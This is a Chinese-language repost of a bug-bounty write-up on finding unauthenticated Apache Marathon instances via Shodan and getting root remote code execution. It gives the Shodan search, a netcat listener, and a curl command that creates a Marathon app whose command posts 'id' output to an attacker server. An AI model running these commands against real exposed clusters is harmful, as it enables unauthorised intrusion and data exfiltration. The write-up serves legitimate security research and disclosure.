歡迎來到 黑吧安全網 聚焦網絡安全前沿資訊,精華內容,交流技術心得!

通過Shodan發現目標應用Marathon服務的RCE漏洞

來源:本站整理 作者:佚名 時間:2019-10-06 TAG: 我要投稿

大家好,今天要和大家分享的是,作者在Shodan搜索中發現某應用系統Marathon服務的無需密碼驗證bug,進一步提權形成RCE漏洞。作為一名開發工程師,作者通過發現該漏洞得到的經驗是:在做漏洞眾測時,具備一定的開發背景經驗非常重要,if you know how something works, you might be able to break it,只有了解目標應用的工作機制,才能有效地發現它存在的問題。最終作者憑借該漏洞獲得廠商$$,$$$上萬美金的獎勵。
漏洞概要
某應用系統的容器編排平臺Marathon服務實例的root權限RCE漏洞。Marathon是一個生產級別的容器(Docker)編排平臺,用于中間層的數據中心操作系統(DC/OS)和Apache Mesos。Apache Mesos是一個分布式系統的管理軟件,可對集群資源進行分配管理。Marathon算是一個基于Mesos的私有PaaS,它實現了Mesos的Framework,Marathon通過HAProxy實現服務發現和負載平衡,并為部署環境提供提供REST API服務、授權和SSL、配置約束等功能。
因此,由于Marathon是Apache mesos的一個編排平臺,這意味著用戶可以根據自己的需要安排要執行的任務,就像執行一條條簡單的bash命令(類似于cronjobs這樣的命令)。
漏洞復現
某天,當我在Shodan搜索東西時,由于之前的項目需要,我必須要自己架設一些Marathon/Mesos/Spark之類的實例,所以我就自然想到了通過Shodan來看看,有哪些大公司在生產環境中部署了Marathon服務,但卻未做任何訪問權限驗證措施的。因此,我就按照“ssl:Redacted” “X-Marathon-Leader”這樣的語法,在Shodan中進行查找,最后,還真發現了一些有意思的東西,如以下兩個搜索結果:

它們是訪問響應狀態碼為HTTP/1.1 200 OK的兩個Marathon服務實例,雖然不能百分百肯定,但這種200響應碼的Marathon服務,90%的可能說明無需任何密碼驗證即可訪問。
于是,我立即按照Shodan中的顯示結果,打開了目標應用的Marathon服務鏈接:https://XXX.XXX.XXX.XXX/ui/#/apps ,之后就真的無需密碼驗證,立馬就進入了Marathon的主界面,如下:

這樣一來,我就可以在我自己的服務器上來部署監聽上述Marathon服務的實例了,通過此種方法,間接實例對Marathon服務的的遠程代碼執行(RCE),方法如下:
1、在我自己的服務器上設置對端口55555的監聽:
#set your own server to wait the response
    [email protected]:~# nc -lvvv 55555
2、用Curl命令創建一個 Marathon 服務運行實例,并通過該實例來執行cmd命令,其中的attacker_server即為我服務器的IP地址。具體命令如下:
# create a marathon application that will be execute any command that you want (in this case is /usr/bin/wget --user-agent=marathon-id --post-data=`id`)
    # replace attacker_server with your listening server that you set up with netcat and the "rce-id" tag with your own custom tag, this is the Marathon application name
    curl -sk -X POST -H "Content-type: application/json" https://XXX.XXX.XXX.XXX/v2/apps -d '{ "mem": 16, "id": "rce-id", "cmd": "/usr/bin/wget --user-agent=marathon-id --post-data=`id` attacker_server:55555"}'
3、再打開https://XXX.XXX.XXX.XXX/ui/#/apps 的Marathon服務管理界面,可以看到其中已經包含了一個名為“rce-id”的實例,這就是我們剛剛用curl命令創建的。在我的自架服務器中,稍等一會,就能看到XXX.XXX.XXX.XXX響應回來的cmd命令輸出結果:

PS:測試過后,為了不對目標應用系統造成安全影響,我及時從Marathon界面中刪除了創建的“rce-id”實例。 整個過程中,就用到了netcat、curl命令和瀏覽器,另外,當然主要還是Shodan很給力了。
 

【聲明】:黑吧安全網(http://www.eyhadu.live)登載此文出于傳遞更多信息之目的,并不代表本站贊同其觀點和對其真實性負責,僅適于網絡安全技術愛好者學習研究使用,學習中請遵循國家相關法律法規。如有問題請聯系我們,聯系郵箱[email protected],我們會在最短的時間內進行處理。
  • 最新更新
    • 相關閱讀
      • 本類熱門
        • 最近下載
        彩票大数据